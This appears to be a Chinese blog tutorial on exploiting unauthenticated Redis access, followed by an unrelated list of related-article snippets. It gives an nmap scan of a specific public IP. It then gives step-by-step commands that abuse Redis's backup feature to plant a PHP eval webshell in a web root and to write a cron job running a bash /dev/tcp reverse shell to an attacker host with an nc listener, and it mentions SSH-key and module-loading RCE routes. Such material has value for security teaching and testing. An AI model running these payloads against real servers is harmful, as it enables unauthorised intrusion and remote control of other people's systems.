Redis未授权访问漏洞

Redis未授权访问漏洞

  • 一、未授权访问漏洞概述、
  • 二、Redis未授权访问特征
  • 三、Redis常用命令
  • 四、Redis历史漏洞
    • 4.1、Redis未授权访问
    • 4.2、Redis主从复制RCE
  • 五、Reids未授权访问利用
    • 5.1、写webshell
    • 5.2、写定时任务反弹shell

一、未授权访问漏洞概述、

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导致其他用户可以无需认授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

二、Redis未授权访问特征

  • 默认端口

    • Redis:6379
    • MongoDB:27017
    • Memcached:11211
    • Jboss:8080
    • Docker:2375
    • MySQL:3306
  • 端口探测:nmap端口扫描

nmap -v -Pn -p 6379 -sV 47.104.255.11
#-v:显示过程
#-Pn:no ping
#-sV:版本探测

在这里插入图片描述

  • 可以看到版本信息,可能存在未授权漏洞。

三、Redis常用命令

  • Redis简介:

Redis是一个完全开源的高性能key-value数据库。

  • Redis应用场景:

1.去最新n个数据的操作
2.排行榜,取top n个数据//最佳人气前10条
3.精确的设置过期时间
4.计数器
5.实时系统,反垃圾系统
6.pub,sub发布订阅构建实时消息系统
7.构建消息队列
8.缓存

  • Redis在互联网公司一般有以下应用:

1.String:缓存、限流、计数器、分布式锁、分布式Session
2.Hash:存储用户信息、用户主页访问量、组合查询
3.List:微博关注人时间轴列表、简单队列
4.Set:赞、踩、标签、好友关系 o
5.Zset:排行榜

# Redis常用命令redis cli -h host -p port -a password 	#redisi连接远程服务器
set testkey "Hello World"				#设置键testkey的值为字符串Hello World
get testkey								#获取键testkey的内容
set score 99							#设置键score的值为99
incr score								#使用INCR命令将score的值增加1
get score								#获取键score的内容

在这里插入图片描述

keys*							#列出当前数据库中所有的键
config set dir /home/test		#设置工作目录
config set dbfilename redis.rdb	#设置备份文件名
config get dir					#检查工作目录是否设置成功
config get dbfilename			#检查备份文件名是否设置成功
save							#进行一次备份操作
flushall						#删除所有数据(慎用)
del key							#删除键为key的数据

四、Redis历史漏洞

4.1、Redis未授权访问

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。

  1. 导致敏感信息泄露。
  2. 执行flushall可清空所有数据。
  3. 通过数据备份功能往磁盘写入后门文件(webshell、定时任务)。
  4. 如果Redisl以root身份运行,可以给root账户写入SSH公钥文件,免密码登录。

4.2、Redis主从复制RCE

在Reids4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redist命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的。

五、Reids未授权访问利用

漏洞利用方法:

  1. 通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限。(目标主机80端口需要打开)
  2. 通过redis数据备份功能写定时任务,通过定时任务反弹Shell。
  3. 通过redis数据备份功能写SSH公钥,实现免密登录linux服务器。

下载连接程序:

wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz				#解压
cd redis-6.0.3/
make										#编译
cd src/
cp redis-cli /usr/bin						#客户端连接程序
  • 连接目标主机的redis服务。
redis-cli -h 192.168.9.234.177			#连接目标主机的redis服务

在这里插入图片描述

5.1、写webshell

条件:
1.知道网站根目录绝对路径
2.对目标网站根目录有写入权限

在这里插入图片描述
在这里插入图片描述

config set dir /www/wwwroot/ThinkPHP/public	
config set dbfilename yiye.php				#创建文件yiye.php
set x "<?php @eval($_POST['cmd']);?>" 		#键x,值"<?php @eval($_POST['cmd']);?>"
save

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、攻击机查看写入的一句话木马。

在这里插入图片描述

2、使用蚁剑进行连接。

在这里插入图片描述

在这里插入图片描述

5.2、写定时任务反弹shell

  • 若是目标主机不存在网站,可以写定时任务反弹shell。

有部分linux的定时任务目录不在/ar/spool/cron下,可能存在/Nar/spool//cron/crontabs下,我们可以在使用config set dir命令时进行判断是否存在该目录。

1、设置定时任务。

config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/192.168.8.80/7777 0>1\n\n"	
#向192.168.8.80的7777端口传递一个会话,会话的名字叫做bin/bash,192.168.8.80是攻击主机
#bin/bash:终端get xxx 	#查看键值,是否设置成功
save

在这里插入图片描述

在这里插入图片描述

2、设置监听。

nc -lvvp 7777 	#监听端口7777

在这里插入图片描述

3、获取到会话。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/26375.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C++】Lambda表达式的使用

学习目标&#xff1a; 例如&#xff1a; 了解Lambda的优点 掌握Lambda表达式的使用 了解Lambda表达式的底层原理 学习内容&#xff1a; Lambda表达式的语法 文章目录 学习目标&#xff1a;学习内容&#xff1a;Lambda表达式排序案例Lambda表达式语法捕捉列表Lambda表达式模拟…

Javascript 数据结构[入门]

作者&#xff1a;20岁爱吃必胜客&#xff08;坤制作人&#xff09;&#xff0c;近十年开发经验, 跨域学习者&#xff0c;目前于海外某世界知名高校就读计算机相关专业。荣誉&#xff1a;阿里云博客专家认证、腾讯开发者社区优质创作者&#xff0c;在CTF省赛校赛多次取得好成绩。…

3年经验,面试测试岗只会功能测试开口要求18K,令我陷入沉思。

由于朋友临时有事&#xff0c; 所以今天我代替朋友进行一次面试&#xff0c;公司需要招聘一位自动化测试工程师&#xff0c;我以很认真负责的态度完成这个过程&#xff0c; 大概近30分钟。 主要是技术面试&#xff0c; 在近30分钟内&#xff0c; 我与被面试者是以交流学习的方式…

java linq多字段排序时间比较

public static void main(String[] args) {//100万条数据List<CrmInvestSaleUserCount> waitAssignUserList new ArrayList<>();for (int i 0; i < 1000000; i) {waitAssignUserList.add(new CrmInvestSaleUserCount().setSales_username("test" i…

架构训练营学习笔记:6-2 微服务基础选型

基础选型 微服务基础设施架构 优先级 其中&#xff0c;核心 就是服务注册、服务发现、服务路由。 模式1-嵌入SDK 模式2-反向代理式 模式3-网络代理式&#xff08;Service Mesh&#xff09; 模式对比 常见微服务框架选择 嵌入SDK-dubbo Spring Cloud 反向代理式 APISIX …

C++类的定义和对象的创建

一、问题引入 C类和对象到底是什么意思&#xff1f; 1、C 中的类&#xff08;Class&#xff09;可以看做C语言中结构体&#xff08;Struct&#xff09;的升级版。结构体是一种构造类型&#xff0c;可以包含若干成员变量&#xff0c;每个成员变量的类型可以不同&#xff1b; …

使用langchain与你自己的数据对话(五):聊天机器人

之前我已经完成了使用langchain与你自己的数据对话的前四篇博客&#xff0c;还没有阅读这四篇博客的朋友可以先阅读一下&#xff1a; 使用langchain与你自己的数据对话(一)&#xff1a;文档加载与切割使用langchain与你自己的数据对话(二)&#xff1a;向量存储与嵌入使用langc…

【探索Linux】—— 强大的命令行工具 P.2(Linux下基本指令)

前言 前面我们讲了C语言的基础知识&#xff0c;也了解了一些数据结构&#xff0c;并且讲了有关C的一些知识&#xff0c;也相信大家都掌握的不错&#xff0c;今天博主将会新开一个Linux专题&#xff0c;带领大家继续学习有关Linux的内容。今天第一篇文章博主首先带领大家了解一下…

uniapp两个单页面之间进行传参

1.单页面传参&#xff1a;A --> B url: .....?code JSON.stringify(param), 2.单页面传参B–>Auni.$emit() uni.$on()

使用HTTP隧道时如何应对目标网站的反爬虫监测?

在进行网络抓取时&#xff0c;我们常常会遇到目标网站对反爬虫的监测和封禁。为了规避这些风险&#xff0c;使用代理IP成为一种常见的方法。然而&#xff0c;如何应对目标网站的反爬虫监测&#xff0c;既能保证数据的稳定性&#xff0c;又能确保抓取过程的安全性呢&#xff1f;…

[CKA]考试之查看pod的cpu

由于最新的CKA考试改版&#xff0c;不允许存储书签&#xff0c;本博客致力怎么一步步从官网把答案找到&#xff0c;如何修改把题做对&#xff0c;下面开始我们的 CKA之旅 题目为&#xff1a; Task 找出标签是namecpu-loader的Pod&#xff0c;并过滤出使用CPU最高的Pod&#…

Spring Boot集成Mybatis-Plus

Spring Boot集成Mybatis-Plus 1. pom.xml导包 <!--lombok--><dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId></dependency><!--mysql驱动--><dependency><groupId>mysql<…

论 SoC上的Linux如何拉动外部I/O

在MCU中&#xff08;如classic autosr或其他RTOS&#xff09;&#xff0c;一般可以直接通过往对应的寄存器&#xff08;地址转为指针&#xff09;写值&#xff0c; 或者调用一些硬件抽象层或者驱动接口来拉动芯片提供的GPIO。 但是在Linux中&#xff0c;可能不会让应用层直接去…

我在leetcode用动态规划炒股

事情是这样的&#xff0c;突然兴起的我在letcode刷题 121. 买卖股票的最佳时机122. 买卖股票的最佳时机 II123. 买卖股票的最佳时机 III 以上三题。 1. 121. 买卖股票的最佳时机 1.1. 暴力遍历&#xff0c;两次遍历 1.1.1. 算法代码 public class Solution {public int Ma…

【Redis】——RDB快照

Redis 是内存数据库&#xff0c;但是它为数据的持久化提供了两个技术&#xff0c;一个是AOF日志&#xff0c;另一个是RDB快照&#xff1a; AOF 文件的内容是操作命令&#xff1b;RDB 文件的内容是二进制数据。 RDB 快照就是记录某一个瞬间的内存数据&#xff0c;记录的是实际…

机器学习深度学习——卷积神经网络(LeNet)

&#x1f468;‍&#x1f393;作者简介&#xff1a;一位即将上大四&#xff0c;正专攻机器学习的保研er &#x1f30c;上期文章&#xff1a;机器学习&&深度学习——池化层 &#x1f4da;订阅专栏&#xff1a;机器学习&&深度学习 希望文章对你们有所帮助 卷积神…

Python Opencv实践 - 基本图像IO操作

import numpy as np import cv2 as cv import matplotlib.pyplot as plt#读取图像 #cv2.IMREAD_COLOR&#xff1a; 读取彩色图像&#xff0c;忽略alpha通道&#xff0c;也可以直接写1 #cv2.IMREAD_GRAYSCALE: 读取灰度图&#xff0c;也可以直接写0 #cv2.IMREAD_UNCHANGED: 读取…

C高级【day4】

思维导图&#xff1a; 写一个函数&#xff0c;获取用户的uid和gid并使用变量接收&#xff1a; #!/bin/bashfunction get_uid {my_uidid -umy_gidid -g }get_uid echo "当前用户的UID&#xff1a;$my_uid" echo "当前用户的GID&#xff1a;$my_gid"整理冒泡…

论文代码学习—HiFi-GAN(4)——模型训练函数train文件具体解析

文章目录 引言正文模型训练代码整体训练过程具体训练细节具体运行流程 多GPU编程main函数&#xff08;通用代码&#xff09;完整代码 总结引用 引言 这里翻译了HiFi-GAN这篇论文的具体内容&#xff0c;具体链接。这篇文章还是学到了很多东西&#xff0c;从整体上说&#xff0c…

FPGA学习——Altera IP核调用之PLL篇

文章目录 一、IP核1.1 IP核简介1.2 FPGA中IP核的分类1.3 IP核的缺陷 二、PLL简介2.1 什么是PLL2.2 PLL结构图2.3 C4开发板上PLL的位置 三、IP核调用步骤四、编写测试代码五、总结 一、IP核 1.1 IP核简介 IP核&#xff08;知识产权核&#xff09;&#xff0c;是在集成电路的可…